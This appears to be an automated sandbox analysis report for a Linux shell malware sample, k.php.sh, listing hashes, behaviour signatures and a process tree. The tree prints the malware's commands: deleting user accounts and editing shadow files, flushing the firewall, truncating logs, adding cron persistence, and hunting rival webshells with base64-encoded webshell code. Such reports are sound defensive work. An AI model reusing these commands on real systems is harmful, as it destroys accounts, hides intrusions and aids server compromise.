Analysis
- max time kernel
84s - max time network
109s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
19/09/2026, 10:19
Static task
static1
Behavioral task
behavioral1
Sample
k.php.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
k.php.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
k.php.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
k.php.sh
Resource
debian9-mipsel-20260513-en
General
- Target k.php.sh
- Size 44KB
- Sample260919-mcmdvaeb33
- SHA256 dbeeb32323575ee8451a372a9b5b1438ad27f6b0aa787a4b83ec66cf10f34e3e
- MD5 cc07c3910eedb7dfdeadad598535fdeb
- SHA1 cf6dc3932d5fc75638ebf0ffc3cdf9c8072cfcf5
- SHA512 f6a7474854411c4348fc19619d7a7cb5f6e51034fec470065a5131ded951313d920076f97cd284e238f1ac6a489f549bcc76a58cdc172d20fc2c746ea868ccb5
- SSDEEP 768:1+29GKYpr9GKYp82fkR4nnA9GKYpr9GKYp82fkR4nnx:1+zco
- TLSH T1AD138D6966857C24AE9988371C7E2F0CB9A983E1310451EDBFCB3CF58C49B9CD21971D
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Modifies password files for system users/ groups 1 TTPs 64 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
description ioc Process File opened for modification /etc/shadow useradd File opened for modification /etc/shadow Process not Found File opened for modification /etc/group Process not Found File opened for modification /etc/shadow useradd File opened for modification /etc/passwd useradd File opened for modification /etc/group useradd File opened for modification /etc/passwd Process not Found File opened for modification /etc/shadow Process not Found File opened for modification /etc/shadow useradd File opened for modification /etc/group useradd File opened for modification /etc/group useradd File opened for modification /etc/gshadow useradd File opened for modification /etc/gshadow Process not Found File opened for modification /etc/passwd Process not Found File opened for modification /etc/shadow Process not Found File opened for modification /etc/shadow Process not Found File opened for modification /etc/group useradd File opened for modification /etc/shadow useradd File opened for modification /etc/passwd Process not Found File opened for modification /etc/gshadow Process not Found File opened for modification /etc/group userdel File opened for modification /etc/group useradd File opened for modification /etc/passwd useradd File opened for modification /etc/group Process not Found File opened for modification /etc/shadow Process not Found File opened for modification /etc/passwd Process not Found File opened for modification /etc/shadow Process not Found File opened for modification /etc/group useradd File opened for modification /etc/shadow useradd File opened for modification /etc/passwd Process not Found File opened for modification /etc/gshadow userdel File opened for modification /etc/group useradd File opened for modification /etc/passwd useradd File opened for modification /etc/gshadow useradd File opened for modification /etc/gshadow useradd File opened for modification /etc/passwd bash File opened for modification /etc/group useradd File opened for modification /etc/gshadow useradd File opened for modification /etc/shadow userdel File opened for modification /etc/gshadow useradd File opened for modification /etc/passwd useradd File opened for modification /etc/passwd useradd File opened for modification /etc/passwd Process not Found File opened for modification /etc/passwd Process not Found File opened for modification /etc/shadow Process not Found File opened for modification /etc/passwd Process not Found File opened for modification /etc/gshadow Process not Found File opened for modification /etc/shadow Process not Found File opened for modification /etc/passwd Process not Found File opened for modification /etc/shadow Process not Found File opened for modification /etc/shadow Process not Found File opened for modification /etc/shadow Process not Found File opened for modification /etc/gshadow useradd File opened for modification /etc/gshadow useradd File opened for modification /etc/gshadow useradd File opened for modification /etc/shadow Process not Found File opened for modification /etc/gshadow Process not Found File opened for modification /etc/passwd Process not Found File opened for modification /etc/group useradd File opened for modification /etc/shadow useradd File opened for modification /etc/passwd useradd File opened for modification /etc/group Process not Found File opened for modification /etc/shadow useradd File opened for modification /etc/group Process not Found - File and Directory Permissions Modification 1 TTPs 8 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1224 chmod 1282 sed 1283 sed 1285 chmod 1661 Process not Found 1220 chmod 1221 chmod 1222 chmod -
description ioc Process File truncated /var/log/audit/audit.log bash File truncated /var/log/audit/audit.log truncate File truncated /var/log/audit/audit.log Process not Found - Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
description ioc Process File truncated /var/log/messages bash - Flushes firewall rules 1 TTPs 52 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 1381 iptables 1387 iptables 1399 iptables 779 iptables 782 iptables 1371 iptables 1375 iptables 1377 iptables 1382 iptables 1391 iptables 1397 iptables 775 iptables 777 iptables 1370 iptables 1372 iptables 1396 iptables 1403 iptables 1548 Process not Found 1354 iptables 1361 iptables 1364 iptables 1365 iptables 1384 iptables 1392 iptables 1406 iptables 781 iptables 1356 iptables 1360 iptables 1374 iptables 1389 iptables 1405 iptables 773 iptables 778 iptables 783 iptables 1369 iptables 1376 iptables 1385 iptables 1355 iptables 1367 iptables 1379 iptables 1380 iptables 1386 iptables 1390 iptables 1394 iptables 1395 iptables 780 iptables 1362 iptables 1366 iptables 1400 iptables 1402 iptables 1357 iptables 1359 iptables - OS Credential Dumping 1 TTPs 31 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
description ioc Process File opened for reading /etc/shadow useradd File opened for reading /etc/shadow useradd File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow sed File opened for reading /etc/shadow useradd File opened for reading /etc/shadow useradd File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow sed File opened for reading /etc/shadow useradd File opened for reading /etc/shadow useradd File opened for reading /etc/shadow useradd File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow useradd File opened for reading /etc/shadow useradd File opened for reading /etc/shadow useradd File opened for reading /etc/shadow useradd File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow useradd File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow userdel File opened for reading /etc/shadow userdel File opened for reading /etc/shadow Process not Found File opened for reading /etc/shadow Process not Found - Adds a user to the system 22 IoCs
pid Process 1418 useradd 1423 useradd 1452 useradd 1462 useradd 1482 Process not Found 1628 Process not Found 1642 Process not Found 1310 useradd 1318 useradd 1326 useradd 1433 useradd 1457 useradd 1472 Process not Found 1638 Process not Found 1413 useradd 1477 Process not Found 1632 Process not Found 1408 useradd 1428 useradd 1438 useradd 1467 Process not Found 1487 Process not Found - Creates/modifies Cron job 1 TTPs 9 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.tdwiDF crontab File opened for modification /var/spool/cron/crontabs/tmp.7XSAeR crontab File opened for modification /var/spool/cron/crontabs/tmp.3GgLhC crontab File opened for modification /var/spool/cron/crontabs/tmp.3YU6GJ crontab File opened for modification /var/spool/cron/crontabs/tmp.nL3uiV crontab File opened for modification /var/spool/cron/crontabs/tmp.hRxiBQ Process not Found File opened for modification /var/spool/cron/crontabs/tmp.Fo5ngZ Process not Found File opened for modification /var/spool/cron/crontabs/tmp.z4O6g3 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.CX9jLj Process not Found - Creates/modifies environment variables 1 TTPs 18 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /home/supermaint/.bashrc Process not Found File opened for modification /home/spamfilter/.profile useradd File opened for modification /home/asteriskuser/.bashrc useradd File opened for modification /home/asteriskuser/.profile useradd File opened for modification /home/supports/.bashrc Process not Found File opened for modification /home/asterisk/.bashrc Process not Found File opened for modification /home/supermaint/.profile Process not Found File opened for modification /home/hima/.bashrc Process not Found File opened for modification /root/.bash_profile bash File opened for modification /home/sugarmaint/.bashrc useradd File opened for modification /home/sugarmaint/.profile useradd File opened for modification /home/supports/.profile Process not Found File opened for modification /home/asterisk/.profile Process not Found File opened for modification /root/.bashrc bash File opened for modification /home/spamfilter/.bashrc useradd File opened for modification /home/freepbxuser/.profile Process not Found File opened for modification /home/hima/.profile Process not Found File opened for modification /home/freepbxuser/.bashrc Process not Found -
description ioc Process File truncated /var/log/auth.log truncate File truncated /var/log/httpd/access_log bash File truncated /var/log/httpd/error_log bash File truncated /var/log/user.log truncate File truncated /var/log/dpkg.log truncate File truncated /var/log/fontconfig.log truncate File truncated /var/log/fontconfig.log Process not Found File truncated /var/log/dpkg.log Process not Found File truncated /var/log/kern.log Process not Found File truncated /var/log/apt/term.log Process not Found File truncated /var/log/apt/history.log truncate File truncated /var/log/apt/term.log truncate File truncated /var/log/asterisk/full bash File truncated /var/log/maillog bash File truncated /var/log/cron bash File truncated /var/log/daemon.log truncate File truncated /var/log/apt/history.log Process not Found File truncated /var/log/secure bash File truncated /var/log/kern.log truncate File truncated /var/log/alternatives.log truncate File truncated /var/log/user.log Process not Found File truncated /var/log/daemon.log Process not Found File truncated /var/log/auth.log Process not Found File truncated /var/log/alternatives.log Process not Found - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.local bash - Modifies Bash startup script 2 TTPs 18 IoCs
description ioc Process File opened for modification /home/sugarmaint/.bashrc useradd File opened for modification /home/freepbxuser/.profile Process not Found File opened for modification /home/hima/.bashrc Process not Found File opened for modification /root/.bashrc bash File opened for modification /home/freepbxuser/.bashrc Process not Found File opened for modification /home/asterisk/.bashrc Process not Found File opened for modification /home/hima/.profile Process not Found File opened for modification /root/.bash_profile bash File opened for modification /home/spamfilter/.profile useradd File opened for modification /home/asteriskuser/.bashrc useradd File opened for modification /home/supports/.bashrc Process not Found File opened for modification /home/supports/.profile Process not Found File opened for modification /home/supermaint/.bashrc Process not Found File opened for modification /home/sugarmaint/.profile useradd File opened for modification /home/spamfilter/.bashrc useradd File opened for modification /home/asteriskuser/.profile useradd File opened for modification /home/supermaint/.profile Process not Found File opened for modification /home/asterisk/.profile Process not Found - Deobfuscate/Decode Files or Information 1 TTPs 17 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
pid Process 1626 Process not Found 1677 Process not Found 1688 Process not Found 1691 Process not Found 1698 Process not Found 1703 Process not Found 1316 base64 1630 Process not Found 1636 Process not Found 1640 Process not Found 1682 Process not Found 1447 base64 1451 base64 1443 base64 1667 Process not Found 1308 base64 1324 base64 - Enumerates kernel/hardware configuration 1 TTPs 3 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/filesystems Process not Found File opened for reading /proc/676/task userdel File opened for reading /proc/self/fd xargs File opened for reading /proc/filesystems Process not Found File opened for reading /proc/filesystems Process not Found File opened for reading /proc/121/task userdel File opened for reading /proc/filesystems find File opened for reading /proc/filesystems find File opened for reading /proc/sys/kernel/ngroups_max useradd File opened for reading /proc/filesystems Process not Found File opened for reading /proc/self/fd xargs File opened for reading /proc/self/fd xargs File opened for reading /proc/self/fd xargs File opened for reading /proc/700/task userdel File opened for reading /proc/self/fd xargs File opened for reading /proc/filesystems Process not Found File opened for reading /proc/21/task userdel File opened for reading /proc/23/status userdel File opened for reading /proc/377/task userdel File opened for reading /proc/filesystems find File opened for reading /proc/self/fd xargs File opened for reading /proc/self/fd xargs File opened for reading /proc/filesystems find File opened for reading /proc/sys/kernel/ngroups_max useradd File opened for reading /proc/13/status userdel File opened for reading /proc/72/task userdel File opened for reading /proc/231/task userdel File opened for reading /proc/self/fd xargs File opened for reading /proc/self/fd xargs File opened for reading /proc/self/fd xargs File opened for reading /proc/filesystems find File opened for reading /proc/121/task userdel File opened for reading /proc/self/fd xargs File opened for reading /proc/self/fd xargs File opened for reading /proc/76/status userdel File opened for reading /proc/self/fd xargs File opened for reading /proc/filesystems find File opened for reading /proc/cmdline systemctl File opened for reading /proc/filesystems Process not Found File opened for reading /proc/filesystems Process not Found File opened for reading /proc/37/status userdel File opened for reading /proc/37/task userdel File opened for reading /proc/382/task userdel File opened for reading /proc/self/fd xargs File opened for reading /proc/73/task userdel File opened for reading /proc/245/status userdel File opened for reading /proc/432/status userdel File opened for reading /proc/self/fd xargs File opened for reading /proc/filesystems find File opened for reading /proc/self/fd xargs File opened for reading /proc/filesystems sed File opened for reading /proc/24/status userdel File opened for reading /proc/169/status userdel File opened for reading /proc/self/fd xargs File opened for reading /proc/self/fd xargs File opened for reading /proc/filesystems find File opened for reading /proc/filesystems Process not Found File opened for reading /proc/366/status userdel File opened for reading /proc/708/status userdel File opened for reading /proc/21/status userdel File opened for reading /proc/676/status userdel File opened for reading /proc/self/fd xargs File opened for reading /proc/filesystems sed File opened for reading /proc/filesystems crontab - System Network Configuration Discovery 1 TTPs 23 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 784 service 861 xargs 863 grep 863 grep 1058 xargs 1060 grep 1072 grep 850 grep 863 grep 863 grep 1060 grep 1060 grep 1060 grep 1072 grep 1072 grep 863 grep 1060 grep 1060 grep 1070 xargs 1072 grep 1072 grep 1072 grep 863 grep - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.63mq32x7 wget File opened for modification /tmp/test.sh k.php.sh
Processes
-
/tmp/k.php.sh/tmp/k.php.sh1⤵
- Writes file to tmp directory
PID:711 -
/bin/bashbash2⤵
- Modifies password files for system users/ groups
- Deletes Audit logs
- Deletes system logs
- Creates/modifies environment variables
- Deletes log files
- Modifies rc script
- Modifies Bash startup script
PID:715 -
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵PID:729
-
-
/bin/rmrm -rf /tmp/k.php.sh /tmp/systemd-private-eeaf211d07c641d68dde5ffc736ceb52-systemd-timedated.service-Q9wmpF "/tmps/*" "/trmp/*" /var/tmp/systemd-private-eeaf211d07c641d68dde5ffc736ceb52-systemd-timedated.service-4qgdfT "/var/tmps/*" "/var/trmp/*" "/var/lib/asterisk/bin/devnull*"3⤵PID:731
-
-
/bin/rmrm -rf /tmp/devnull24 /tmps/devnull24 /trmp/devnull24 /var/tmp/devnull24 /var/tmps/devnull24 /var/trmp/devnull24 /var/lib/asterisk/bin/devnull243⤵PID:732
-
-
/bin/rmrm -rf /tmp/devnull23 /tmps/devnull23 /trmp/devnull23 /var/tmp/devnull23 /var/tmps/devnull23 /var/trmp/devnull23 /var/lib/asterisk/bin/devnull233⤵PID:733
-
-
/bin/rmrm -rf /tmp/devnull2 /tmps/devnull2 /trmp/devnull2 /var/tmp/devnull2 /var/tmps/devnull2 /var/trmp/devnull2 /var/lib/asterisk/bin/devnull23⤵PID:735
-
-
/bin/rmrm -rf /tmp/k /tmps/k /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix "/tmps/.??*" "/trmp/.??*"3⤵PID:736
-
-
/usr/bin/awkawk -F: "(\$3 == 0 || \$3 >= 1000) && \$1 != \"root\" {system(\"userdel -rf \" \$1 \" 2>/dev/null; sed -i \\\"/^\" \$1 \":/d\\\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/\" \$1 \" 2>/dev/null\")}" /etc/passwd3⤵PID:738
-
/bin/shsh -c "userdel -rf nobody 2>/dev/null; sed -i \"/^nobody:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/nobody 2>/dev/null"4⤵PID:739
-
/usr/sbin/userdeluserdel -rf nobody5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
PID:741 -
/usr/sbin/nscdnscd -i passwd6⤵PID:745
-
-
/usr/sbin/nscdnscd -i group6⤵PID:746
-
-
/usr/sbin/nscdnscd -i passwd6⤵PID:747
-
-
/usr/sbin/nscdnscd -i group6⤵PID:748
-
-
-
/bin/sedsed -i "/^nobody:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
PID:749
-
-
/bin/rmrm -rf /home/nobody5⤵PID:750
-
-
-
/bin/shsh -c "userdel -rf user 2>/dev/null; sed -i \"/^user:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/user 2>/dev/null"4⤵PID:751
-
/usr/sbin/userdeluserdel -rf user5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
PID:755 -
/usr/sbin/nscdnscd -i passwd6⤵PID:757
-
-
/usr/sbin/nscdnscd -i group6⤵PID:758
-
-
/usr/sbin/nscdnscd -i passwd6⤵PID:759
-
-
/usr/sbin/nscdnscd -i group6⤵PID:760
-
-
-
/bin/sedsed -i "/^user:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
PID:761
-
-
/bin/rmrm -rf /home/user5⤵PID:762
-
-
-
-
/bin/rmrm -rf "/tmp/*.txt" "/tmp/*.php" "/tmp/*.sh" /tmp/a.txt /tmp/s.txt /tmp/xp3⤵PID:769
-
-
/bin/rmrm -rf "/tmp/*.py" "/tmp/*.pl" "/tmp/*.pm" "/tmp/*.html" "/tmp/*.css" "/tmp/*.js"3⤵PID:770
-
-
/bin/rmrm -rf "/var/tmp/*.php" "/var/tmp/*.sh" "/var/tmp/*.txt"3⤵PID:771
-
-
/bin/rmrm -rf "/tmp/setuid*" /tmp/setuid.c3⤵PID:772
-
-
/sbin/iptablesiptables -F3⤵
- Flushes firewall rules
PID:773
-
-
/sbin/iptablesiptables -I INPUT -s 202.170.120.157 -j DROP3⤵
- Flushes firewall rules
PID:775
-
-
/sbin/iptablesiptables -I INPUT -s 110.10.178.37 -j DROP3⤵
- Flushes firewall rules
PID:777
-
-
/sbin/iptablesiptables -I INPUT -s 111.223.32.50 -j DROP3⤵
- Flushes firewall rules
PID:778
-
-
/sbin/iptablesiptables -I INPUT -s 212.83.160.70 -j DROP3⤵
- Flushes firewall rules
PID:779
-
-
/sbin/iptablesiptables -I OUTPUT -d 202.170.120.157 -j DROP3⤵
- Flushes firewall rules
PID:780
-
-
/sbin/iptablesiptables -I OUTPUT -d 110.10.178.37 -j DROP3⤵
- Flushes firewall rules
PID:781
-
-
/sbin/iptablesiptables -I OUTPUT -d 111.223.32.50 -j DROP3⤵
- Flushes firewall rules
PID:782
-
-
/sbin/iptablesiptables -I OUTPUT -d 212.83.160.70 -j DROP3⤵
- Flushes firewall rules
PID:783
-
-
/usr/sbin/serviceservice iptables save3⤵
- System Network Configuration Discovery
PID:784 -
/usr/bin/basenamebasename /usr/sbin/service4⤵PID:785
-
-
/usr/bin/basenamebasename /usr/sbin/service4⤵PID:786
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target4⤵
- Enumerates kernel/hardware configuration
PID:787
-
-
-
/usr/bin/sortsort -u3⤵PID:789
-
-
/bin/grepgrep -r "--include=*.php" -l -E "(eval.*base64_decode|/\\*[A-Za-z0-9]+\\*/eval|system\\(\\\$_GET\\[)|eval\\(\\\$_POST|eval\\(\\\$_REQUEST|eval\\(\\\$_GET|system\\(\\\$c\\s" /var/www/html/3⤵PID:791
-
-
/bin/grepgrep -rE "--include=*.php" PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg /var/www/html/3⤵PID:792
-
-
/usr/bin/cutcut -d : -f13⤵PID:793
-
-
/usr/bin/cutcut -d : -f13⤵PID:795
-
-
/bin/grepgrep -rE "--include=*.php" Unauth0r1zed /var/www/html/3⤵PID:794
-
-
/usr/bin/cutcut -d : -f13⤵PID:797
-
-
/bin/grepgrep -rE "--include=*.php" cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8 /var/www/html/3⤵PID:796
-
-
/usr/bin/cutcut -d : -f13⤵PID:799
-
-
/bin/grepgrep -rE "--include=*.php" atmin /var/www/html/3⤵PID:798
-
-
/usr/bin/cutcut -d : -f13⤵PID:801
-
-
/bin/grepgrep -rE "--include=*.php" New-Pbx /var/www/html/3⤵PID:800
-
-
/usr/bin/cutcut -d : -f13⤵PID:803
-
-
/bin/grepgrep -rE "--include=*.php" 1c95bad5b03658f331833d6ea9e77887 /var/www/html/3⤵PID:802
-
-
/bin/grepgrep -rE "--include=*.php" C99Shell /var/www/html/3⤵PID:804
-
-
/usr/bin/cutcut -d : -f13⤵PID:805
-
-
/usr/bin/cutcut -d : -f13⤵PID:807
-
-
/bin/grepgrep -rE "--include=*.php" Emad__Was__Here /var/www/html/3⤵PID:806
-
-
/usr/bin/cutcut -d : -f13⤵PID:809
-
-
/bin/grepgrep -rE "--include=*.php" VictamPbx /var/www/html/3⤵PID:808
-
-
/usr/bin/cutcut -d : -f13⤵PID:811
-
-
/bin/grepgrep -rE "--include=*.php" t3rr0r /var/www/html/3⤵PID:810
-
-
/usr/bin/cutcut -d : -f13⤵PID:813
-
-
/bin/grepgrep -rE "--include=*.php" Hacked /var/www/html/3⤵PID:812
-
-
/usr/bin/cutcut -d : -f13⤵PID:815
-
-
/bin/grepgrep -rE "--include=*.php" b374k /var/www/html/3⤵PID:814
-
-
/usr/bin/cutcut -d : -f13⤵PID:817
-
-
/bin/grepgrep -rE "--include=*.php" xman /var/www/html/3⤵PID:816
-
-
/usr/bin/cutcut -d : -f13⤵PID:819
-
-
/bin/grepgrep -rE "--include=*.php" emad /var/www/html/3⤵PID:818
-
-
/usr/bin/cutcut -d : -f13⤵PID:821
-
-
/bin/grepgrep -rE "--include=*.php" b1a1d57978bc7bcb8bd47b035d4e8025d4ef7ddbc4c2f413fb10f4ea0e3205662f61a501d7e4b49dd864b52f2916b815991c4ead7f07e13c67155e90df07485507409f85ebda6a7004e00424903c8 /var/www/html/3⤵PID:820
-
-
/usr/bin/cutcut -d : -f13⤵PID:823
-
-
/bin/grepgrep -rE "--include=*.php" 6e7e3be4cff4ebb7619790b6da7885123fc9abdddafe22223126a9cf306b50808deb80a2c07a8e0e90a06cdaf81f97d6fccd30f51f02114f704ca232c85a80668a938777389409a97f61b9c135255 /var/www/html/3⤵PID:822
-
-
/usr/bin/cutcut -d : -f13⤵PID:825
-
-
/bin/grepgrep -rE "--include=*.php" 18930f625a916dea7e78b52450a7665c2cdb3f27a569c8a4d7820 /var/www/html/3⤵PID:824
-
-
/usr/bin/cutcut -d : -f13⤵PID:827
-
-
/bin/grepgrep -rE "--include=*.php" 08f4462d96f0ddb58d1c9397e15318ff288b0d04dfd81a4fd0fb8 /var/www/html/3⤵PID:826
-
-
/usr/bin/cutcut -d : -f13⤵PID:829
-
-
/bin/grepgrep -rE "--include=*.php" a5xdnceO5ABpcvf9FYKgUlgEht5O0IIm6L0najRO7z359RM5jdmoNpVVcXLSvGrvOZERRP /var/www/html/3⤵PID:828
-
-
/usr/bin/cutcut -d : -f13⤵PID:831
-
-
/bin/grepgrep -rE "--include=*.php" 3f88e188f7b13511f2691811b28aec22fdc06b09abbb6342c93c1 /var/www/html/3⤵PID:830
-
-
/usr/bin/cutcut -d : -f13⤵PID:833
-
-
/bin/grepgrep -rE "--include=*.php" WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl /var/www/html/3⤵PID:832
-
-
/usr/bin/cutcut -d : -f13⤵PID:835
-
-
/bin/grepgrep -rE "--include=*.php" 4ce19905aac5c1a58fc464e5bc1ce027 /var/www/html/3⤵PID:834
-
-
/usr/bin/cutcut -d : -f13⤵PID:837
-
-
/bin/grepgrep -rE "--include=*.php" a62e7e1e4dfd211e99796aebb24dd872 /var/www/html/3⤵PID:836
-
-
/usr/bin/cutcut -d : -f13⤵PID:839
-
-
/bin/grepgrep -rE "--include=*.php" 212.83.160.70 /var/www/html/3⤵PID:838
-
-
/usr/bin/cutcut -d : -f13⤵PID:841
-
-
/bin/grepgrep -rE "--include=*.php" c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI /var/www/html/3⤵PID:840
-
-
/usr/bin/cutcut -d : -f13⤵PID:843
-
-
/bin/grepgrep -rE "--include=*.php" PXNnXkJjM2Brrml4KJcQB2cl /var/www/html/3⤵PID:842
-
-
/usr/bin/cutcut -d : -f13⤵PID:845
-
-
/bin/grepgrep -rE "--include=*.php" PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0 /var/www/html/3⤵PID:844
-
-
/usr/bin/cutcut -d : -f13⤵PID:847
-
-
/bin/grepgrep -rE "--include=*.php" "Black Ban V1.01" /var/www/html/3⤵PID:846
-
-
/usr/bin/cutcut -d : -f13⤵PID:849
-
-
/bin/grepgrep -rE "--include=*.php" c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI /var/www/html/3⤵PID:848
-
-
/usr/bin/cutcut -d : -f13⤵PID:851
-
-
/bin/grepgrep -rE "--include=*.php" CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8 /var/www/html/3⤵
- System Network Configuration Discovery
PID:850
-
-
/usr/bin/xargsxargs -0 grep -Il "<?php system("3⤵PID:853
-
/usr/local/sbin/grepgrep -Il "<?php system("4⤵PID:855
-
-
/usr/local/bin/grepgrep -Il "<?php system("4⤵PID:855
-
-
/usr/sbin/grepgrep -Il "<?php system("4⤵PID:855
-
-
/usr/bin/grepgrep -Il "<?php system("4⤵PID:855
-
-
/sbin/grepgrep -Il "<?php system("4⤵PID:855
-
-
/bin/grepgrep -Il "<?php system("4⤵PID:855
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:852
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:854
-
-
/usr/bin/xargsxargs -0 grep -Il Emad__Was__Here3⤵PID:857
-
/usr/local/sbin/grepgrep -Il Emad__Was__Here4⤵PID:859
-
-
/usr/local/bin/grepgrep -Il Emad__Was__Here4⤵PID:859
-
-
/usr/sbin/grepgrep -Il Emad__Was__Here4⤵PID:859
-
-
/usr/bin/grepgrep -Il Emad__Was__Here4⤵PID:859
-
-
/sbin/grepgrep -Il Emad__Was__Here4⤵PID:859
-
-
